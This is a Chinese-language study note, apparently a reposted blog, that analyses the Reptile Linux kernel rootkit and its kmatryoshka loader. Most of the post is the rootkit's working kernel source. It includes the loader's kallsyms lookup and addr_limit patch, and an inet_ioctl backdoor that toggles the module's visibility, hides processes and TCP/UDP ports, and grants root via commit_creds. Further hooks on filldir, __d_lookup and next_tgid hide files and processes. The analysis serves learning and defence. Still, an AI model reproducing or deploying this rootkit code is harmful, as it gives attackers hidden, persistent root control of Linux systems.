LKM rootkit：Reptile学习
作者：互联网
简介
Reptile是github上一个很火的linux lkm rootkit，最近学习了一些linux rootkit的内容，在这里记录一下。
主要是分析reptile的实现
Reptile的使用
安装命令：
sudo ./setup.sh install
然后执行下面的命令
/reptile/reptile_cmd show
接着就可以看到/reptile目录下的一些东西了，这是项目安装在系统中的一些文件，在安装完成后，默认是隐藏的。具体的执行命令就不再这里赘述了
会出现下面这些程序
Reptile原理分析
Reptile使用了两个其他的项目
1、khook：一个内核钩子框架，具体分析可以看这里https://www.cnblogs.com/likaiming/p/10970543.html
2、kmatryoshka：一个动态的模块加载器
这里先分析一下kmatryoshka的实现
kmatryoshka
parasite_loader/main.c中的init_module函数是入口函数。encrypt目录下代表的都是加密相关部分。
整个loader是作为一个模块插入到内核中去的，这个模块的功能是加载用户空间的模块，使用的就是init_module函数的系统调用处理函数sys_init_module，它是一个导出函数，通过查找kallsyms得到该函数的地址，就可以使用。
首先看寻找sys_init_module的实现，使用的是kallsyms_on_each_symbol函数，传入一个寻找函数就可以从找到符号地址，实现使用的就是下面这两个函数，在data[0]放入要寻找的内容，data[1]放入结果。
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, unsigned long addr)
{
int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) {
if (!name[i++]) return !!(data[1] = addr);
} return 0;
}
static inline unsigned long ksym_lookup_name(const char *name)
{
unsigned long data[2] = { (unsigned long)name, 0 };
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
return data[1];
}
然后在init_module函数中这样调用
sys_init_module = (void *)ksym_lookup_name("sys_init_module");
再获取到符号地址后，在传入parasite_blob，也就是目的模块的地址时，还需要thread_info结构中的addr_limit，这个是表示用户地址空间地址的最大值，在init_module函数中，会对地址做校验，使用的就是addr_limit，这里就会修改一下这个值，保证地址检查通过。
if (sys_init_module) {
const char *nullarg = parasite_blob;
unsigned long seg = user_addr_max();
while (*nullarg) nullarg++;
user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);
sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg);
user_addr_max() = seg;
}
Reptile
回到Reptile，主目录下，parasite_loader就是上面讲到的项目，khook就是内核钩子的框架，sbin是用户态的一些程序，reptile_cmd等这些程序都使通过sbin下面的程序编译出来的，script下面的脚本是生成的一些脚本存放目录，下面的内容在安装完成后自动删除了。loader下面的程序也比较简单，主要的逻辑写在rep_mod中，下面主要说一下这个文件中各个函数的功能
主函数，khook_init用来初始化khook，magic_packet_hook_options则是netlink钩子，START在setup脚本中被设置成reptile_start，
static int __init reptile_init(void)
{
int ret;
char *argv[] = {START, NULL, NULL};
//创建工作线程
work_queue = create_workqueue(WORKQUEUE);
ret = khook_init();
if (ret != 0)
goto out;
magic_packet_hook_options.hook = (void *)magic_packet_hook;
magic_packet_hook_options.hooknum = 0;
magic_packet_hook_options.pf = PF_INET;
magic_packet_hook_options.priority = NF_IP_PRI_FIRST;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 13, 0)
nf_register_net_hook(&init_net, &magic_packet_hook_options);
#else
nf_register_hook(&magic_packet_hook_options);
#endif
exec(argv);
hide();
out:
return ret;
}
//不允许普通进程找到特殊进程
KHOOK(find_task_by_vpid);
struct task_struct *khook_find_task_by_vpid(pid_t vnr)
//特权进程的TIF_SYSCALL_AUDIT位要被取消，这个标志位在thread_info结构
KHOOK(audit_alloc);
static int khook_audit_alloc(struct task_struct *t)
//清理cred结构的时候清除特权进程标志位
KHOOK(exit_creds);
static void khook_exit_creds(struct task_struct *p)
//特权进程的子进程也需要有特权
KHOOK(copy_creds);
static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags)
//装载可执行文件的时候
KHOOK_EXT(int, load_elf_binary, struct linux_binprm *);
static int khook_load_elf_binary(struct linux_binprm *bprm)
/* 用户空间读物UDP端口使用/proc/net/udp，这个文件的seq_ops的show操作是udp4_seq_show 隐藏udp端口 */ KHOOK_EXT(int, udp4_seq_show, struct seq_file *, void *); static int khook_udp4_seq_show(struct seq_file *seq, void *v)
/* 用户空间读物UDP端口使用/proc/net/tcp，这个文件的seq_ops的show操作是tcp4_seq_show 隐藏tcp端口 */ KHOOK_EXT(int, tcp4_seq_show, struct seq_file *, void *); static int khook_tcp4_seq_show(struct seq_file *seq, void *v)
netlink钩子
KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long);
static int khook_inet_ioctl(struct socket *sock, unsigned int cmd,
unsigned long arg)
{
int ret = 0;
unsigned int pid;
struct control args;
struct sockaddr_in addr;
struct hidden_conn *hc;
if (cmd == AUTH && arg == HTUA) {
if (control_flag) {
control_flag = 0;
} else {
control_flag = 1;
}
goto out;
}
if (control_flag && cmd == AUTH) {
if (copy_from_user(&args, (void *)arg, sizeof(args)))
goto out;
switch (args.cmd) {
//0则更改隐藏或是显示
case 0:
if (hide_module) {
show();
hidden = 0;
} else {
hide();
hidden = 1;
}
break;
case 1://根据pid设置进程的可见性
if (copy_from_user(&pid, args.argv, sizeof(unsigned int)))
goto out;
if (is_invisible(pid))
flag_tasks(pid, 0);
else
flag_tasks(pid, 1);
break;
case 2:
if (file_tampering)
file_tampering = 0;
else
file_tampering = 1;
break;
case 3://提权
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
current->uid = 0;
current->suid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
current->fsuid = 0;
current->fsgid = 0;
cap_set_full(current->cap_effective);
cap_set_full(current->cap_inheritable);
cap_set_full(current->cap_permitted);
#else
commit_creds(prepare_kernel_cred(0));
#endif
break;
case 4://增加隐藏tcp端口
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
goto out;
hc = kmalloc(sizeof(*hc), GFP_KERNEL);
if (!hc)
goto out;
hc->addr = addr;
list_add(&hc->list, &hidden_tcp_conn);
break;
case 5://删除隐藏tcp端口
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
goto out;
list_for_each_entry(hc, &hidden_tcp_conn, list)
{
if (addr.sin_port == hc->addr.sin_port &&
addr.sin_addr.s_addr ==
hc->addr.sin_addr.s_addr) {
list_del(&hc->list);
kfree(hc);
break;
}
}
break;
case 6://增加隐藏tcp端口
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
goto out;
hc = kmalloc(sizeof(*hc), GFP_KERNEL);
if (!hc)
goto out;
hc->addr = addr;
list_add(&hc->list, &hidden_udp_conn);
break;
case 7://删除隐藏tcp端口
if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
goto out;
list_for_each_entry(hc, &hidden_udp_conn, list)
{
if (addr.sin_port == hc->addr.sin_port &&
addr.sin_addr.s_addr ==
hc->addr.sin_addr.s_addr) {
list_del(&hc->list);
kfree(hc);
break;
}
}
break;
default:
goto origin;
}
goto out;
}
origin:
ret = KHOOK_ORIGIN(inet_ioctl, sock, cmd, arg);
out:
return ret;
}
View Code
//读操作钩子 KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *); static ssize_t khook_vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos)
/* getdents流程中的一个操作 说到文件隐藏，我们不妨先看看文件遍历的实现， 也就是系统调用getdents / getdents64 ，简略地浏览它在内核态服务函数（sys_getdents）的源码 （位于fs/readdir.c ），我们可以看到如下调用层次， sys_getdents ->iterate_dir -> struct file_operations 里的 iterate ->这儿省略若干层次 -> struct dir_context 里的 actor ，也就是filldir filldir 负责把一项记录（比如说目录下的一个文件或者一个子目录）填到返回的缓冲区里 */ filldir这些函数
KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_fillonedir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = 0;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type);
return ret;
}
KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_filldir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = 0;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type);
return ret;
}
KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_filldir64(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = 0;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type);
return ret;
}
KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_fillonedir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = 0;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type);
return ret;
}
KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_filldir(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = 0;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type);
return ret;
}
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 12, 0)
KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_filldir64(void *__buf, const char *name, int namlen,
loff_t offset, u64 ino, unsigned int d_type)
{
int ret = 0;
if (!strstr(name, HIDE) || !hidden)
ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type);
return ret;
}
#endif
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0)
KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *);
struct dentry *khook___d_lookup(const struct dentry *parent, const struct qstr *name)
#else
KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *);
struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name)
#endif
{
struct dentry *found = NULL;
if (!strstr(name->name, HIDE) || !hidden)
found = KHOOK_ORIGIN(__d_lookup, parent, name);
return found;
}
KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter);
static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_iter iter)
{
if (hidden) {
while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) {
if (!(iter.task->flags & FLAG))
break;
iter.tgid++;
}
} else {
iter = KHOOK_ORIGIN(next_tgid, ns, iter);
}
return iter;
}
View Code
//隐藏内容 int hide_content(void *arg, ssize_t size) /* 写在<$TAG></$TAG>中间的内容 */ //检查是否有需要隐藏的内容 int f_check(void *arg, ssize_t size) //看这个进程是否被隐藏了，0表示被隐藏 int is_invisible(pid_t pid) //set=0表示清楚特权，set=1表示设置特权，设置pid位 int flag_tasks(pid_t pid, int set) //重新显示这个模块 void show(void) //从全局module链表中删除本模块 void hide(void)
标签：Reptile,LKM,struct,int,void,name,rootkit,KHOOK,addr 来源： https://www.cnblogs.com/likaiming/p/10987804.html